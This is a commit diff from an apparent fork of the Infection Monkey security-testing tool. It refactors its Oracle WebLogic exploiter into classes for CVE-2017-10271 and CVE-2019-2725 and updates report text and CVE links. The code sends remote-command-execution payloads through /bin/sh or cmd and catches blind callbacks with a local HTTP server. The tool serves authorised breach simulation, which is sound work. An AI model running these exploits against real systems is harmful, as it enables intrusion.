forked from p34709852/monkey
WeblogicExploiter class refactored to only handle vulnerability execution.
This commit is contained in:
parent
d0d0f13a43
commit
c5e1b0a93f
|
@ -1,3 +1,48 @@
|
||||||
|
from __future__ import print_function
|
||||||
|
import threading
|
||||||
|
import logging
|
||||||
|
import time
|
||||||
|
import copy
|
||||||
|
|
||||||
|
from requests import post, exceptions
|
||||||
|
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = "VakarisZ"
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
# How long server waits for get request in seconds
|
||||||
|
SERVER_TIMEOUT = 4
|
||||||
|
# How long should we wait after each request in seconds
|
||||||
|
REQUEST_DELAY = 0.1
|
||||||
|
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
||||||
|
REQUEST_TIMEOUT = 5
|
||||||
|
# How long to wait for response in exploitation. In seconds
|
||||||
|
EXECUTION_TIMEOUT = 15
|
||||||
|
# Malicious requests' headers:
|
||||||
|
HEADERS = {
|
||||||
|
"Content-Type": "text/xml;charset=UTF-8",
|
||||||
|
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
||||||
|
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class WebLogicExploiter(HostExploiter):
|
||||||
|
|
||||||
|
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||||
|
_EXPLOITED_SERVICE = 'Weblogic'
|
||||||
|
|
||||||
|
def exploit_host(self):
|
||||||
|
exploiters = [WebLogic20192725, WebLogic201710271]
|
||||||
|
for exploiter in exploiters:
|
||||||
|
if exploiter(self.host).exploit_host():
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
# Exploit based of:
|
# Exploit based of:
|
||||||
# Kevin Kirsche (d3c3pt10n)
|
# Kevin Kirsche (d3c3pt10n)
|
||||||
# https://github.com/kkirsche/CVE-2017-10271
|
# https://github.com/kkirsche/CVE-2017-10271
|
||||||
|
@ -5,31 +50,7 @@
|
||||||
# Luffin from Github
|
# Luffin from Github
|
||||||
# https://github.com/Luffin/CVE-2017-10271
|
# https://github.com/Luffin/CVE-2017-10271
|
||||||
# CVE: CVE-2017-10271
|
# CVE: CVE-2017-10271
|
||||||
from __future__ import print_function
|
class WebLogic201710271(WebRCE):
|
||||||
from requests import post, exceptions
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
|
||||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
|
||||||
|
|
||||||
import threading
|
|
||||||
import logging
|
|
||||||
import time
|
|
||||||
import copy
|
|
||||||
|
|
||||||
__author__ = "VakarisZ"
|
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
|
||||||
# How long server waits for get request in seconds
|
|
||||||
SERVER_TIMEOUT = 4
|
|
||||||
# How long should be wait after each request in seconds
|
|
||||||
REQUEST_DELAY = 0.1
|
|
||||||
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
|
|
||||||
REQUEST_TIMEOUT = 5
|
|
||||||
# How long to wait for response in exploitation. In seconds
|
|
||||||
EXECUTION_TIMEOUT = 15
|
|
||||||
|
|
||||||
|
|
||||||
class WebLogicExploiter(WebRCE):
|
|
||||||
URLS = ["/wls-wsat/CoordinatorPortType",
|
URLS = ["/wls-wsat/CoordinatorPortType",
|
||||||
"/wls-wsat/CoordinatorPortType11",
|
"/wls-wsat/CoordinatorPortType11",
|
||||||
"/wls-wsat/ParticipantPortType",
|
"/wls-wsat/ParticipantPortType",
|
||||||
|
@ -38,44 +59,29 @@ class WebLogicExploiter(WebRCE):
|
||||||
"/wls-wsat/RegistrationPortTypeRPC11",
|
"/wls-wsat/RegistrationPortTypeRPC11",
|
||||||
"/wls-wsat/RegistrationRequesterPortType",
|
"/wls-wsat/RegistrationRequesterPortType",
|
||||||
"/wls-wsat/RegistrationRequesterPortType11"]
|
"/wls-wsat/RegistrationRequesterPortType11"]
|
||||||
# Malicious request's headers:
|
|
||||||
HEADERS = {
|
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
|
||||||
"Content-Type": "text/xml;charset=UTF-8",
|
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
|
||||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
|
|
||||||
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
|
|
||||||
}
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
|
||||||
_EXPLOITED_SERVICE = 'Weblogic'
|
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
|
super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
|
||||||
'win32': 'monkey32.exe',
|
'win32': 'monkey32.exe',
|
||||||
'win64': 'monkey64.exe'})
|
'win64': 'monkey64.exe'})
|
||||||
|
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
|
exploit_config = super(WebLogic201710271, self).get_exploit_config()
|
||||||
exploit_config['blind_exploit'] = True
|
exploit_config['blind_exploit'] = True
|
||||||
exploit_config['stop_checking_urls'] = True
|
exploit_config['stop_checking_urls'] = True
|
||||||
exploit_config['url_extensions'] = WebLogicExploiter.URLS
|
exploit_config['url_extensions'] = WebLogic201710271.URLS
|
||||||
return exploit_config
|
return exploit_config
|
||||||
|
|
||||||
def exploit_host(self):
|
|
||||||
exploiters = [WebLogic20192725]
|
|
||||||
for exploiter in exploiters:
|
|
||||||
if exploiter(self.host).exploit_host():
|
|
||||||
return True
|
|
||||||
if super(WebLogicExploiter, self).exploit_host():
|
|
||||||
return True
|
|
||||||
else:
|
|
||||||
return False
|
|
||||||
|
|
||||||
def exploit(self, url, command):
|
def exploit(self, url, command):
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
|
payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null')
|
||||||
else:
|
else:
|
||||||
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
|
payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL')
|
||||||
try:
|
try:
|
||||||
post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
|
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error("Connection error: %s" % e)
|
LOG.error("Connection error: %s" % e)
|
||||||
return False
|
return False
|
||||||
|
@ -111,7 +117,7 @@ class WebLogicExploiter(WebRCE):
|
||||||
def check_if_exploitable_weblogic(self, url, httpd):
|
def check_if_exploitable_weblogic(self, url, httpd):
|
||||||
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port)
|
||||||
try:
|
try:
|
||||||
post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False)
|
post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False)
|
||||||
except exceptions.ReadTimeout:
|
except exceptions.ReadTimeout:
|
||||||
# Our request will not get response thus we get ReadTimeout error
|
# Our request will not get response thus we get ReadTimeout error
|
||||||
pass
|
pass
|
||||||
|
@ -207,6 +213,7 @@ class WebLogicExploiter(WebRCE):
|
||||||
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
|
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
|
||||||
we determine if we can exploit by either getting a GET request from host or not.
|
we determine if we can exploit by either getting a GET request from host or not.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
def __init__(self, local_ip, local_port, lock, max_requests=1):
|
||||||
self.local_ip = local_ip
|
self.local_ip = local_ip
|
||||||
self.local_port = local_port
|
self.local_port = local_port
|
||||||
|
@ -223,6 +230,7 @@ class WebLogicExploiter(WebRCE):
|
||||||
def do_GET():
|
def do_GET():
|
||||||
LOG.info('Server received a request from vulnerable machine')
|
LOG.info('Server received a request from vulnerable machine')
|
||||||
self.get_requests += 1
|
self.get_requests += 1
|
||||||
|
|
||||||
LOG.info('Server waiting for exploited machine request...')
|
LOG.info('Server waiting for exploited machine request...')
|
||||||
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
httpd = HTTPServer((self.local_ip, self.local_port), S)
|
||||||
httpd.daemon = True
|
httpd.daemon = True
|
||||||
|
@ -243,8 +251,8 @@ class WebLogicExploiter(WebRCE):
|
||||||
class WebLogic20192725(WebRCE):
|
class WebLogic20192725(WebRCE):
|
||||||
URLS = ["_async/AsyncResponseServiceHttps"]
|
URLS = ["_async/AsyncResponseServiceHttps"]
|
||||||
|
|
||||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
|
||||||
_EXPLOITED_SERVICE = 'Weblogic'
|
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(WebLogic20192725, self).__init__(host)
|
super(WebLogic20192725, self).__init__(host)
|
||||||
|
@ -262,14 +270,14 @@ class WebLogic20192725(WebRCE):
|
||||||
else:
|
else:
|
||||||
payload = self.get_exploit_payload('cmd', '/c', command)
|
payload = self.get_exploit_payload('cmd', '/c', command)
|
||||||
try:
|
try:
|
||||||
resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT)
|
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
|
||||||
return resp
|
return resp
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error("Connection error: %s" % e)
|
LOG.error("Connection error: %s" % e)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def check_if_exploitable(self, url):
|
def check_if_exploitable(self, url):
|
||||||
headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''})
|
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
|
||||||
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
|
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
|
||||||
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
|
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
|
||||||
return True
|
return True
|
||||||
|
|
|
@ -89,7 +89,7 @@ SCHEMA = {
|
||||||
"enum": [
|
"enum": [
|
||||||
"WebLogicExploiter"
|
"WebLogicExploiter"
|
||||||
],
|
],
|
||||||
"title": "Oracle Web Logic Exploiter"
|
"title": "WebLogic Exploiter"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"type": "string",
|
"type": "string",
|
||||||
|
|
|
@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent {
|
||||||
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
|
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
|
||||||
CVE-2017-5638</a>)</li> : null }
|
CVE-2017-5638</a>)</li> : null }
|
||||||
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
|
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
|
||||||
<li>Oracle WebLogic servers are vulnerable to remote code execution. (<a
|
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
|
||||||
href="https://nvd.nist.gov/vuln/detail/CVE-2017-10271">
|
|
||||||
CVE-2017-10271</a>)</li> : null }
|
|
||||||
{this.state.report.overview.issues[this.Issue.HADOOP] ?
|
{this.state.report.overview.issues[this.Issue.HADOOP] ?
|
||||||
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
||||||
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
||||||
|
@ -895,7 +893,9 @@ class ReportPageComponent extends AuthComponent {
|
||||||
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
|
className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span
|
||||||
className="label label-danger">remote code execution</span> attacks.
|
className="label label-danger">remote code execution</span> attacks.
|
||||||
<br/>
|
<br/>
|
||||||
The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725
|
The attack was made possible due to one of the following vulnerabilities:
|
||||||
|
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271"}> CVE-2017-10271</a> or
|
||||||
|
<a href={"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725"}> CVE-2019-2725</a>
|
||||||
</CollapsibleWellComponent>
|
</CollapsibleWellComponent>
|
||||||
</li>
|
</li>
|
||||||
);
|
);
|
||||||
|
|
Loading…
Reference in New Issue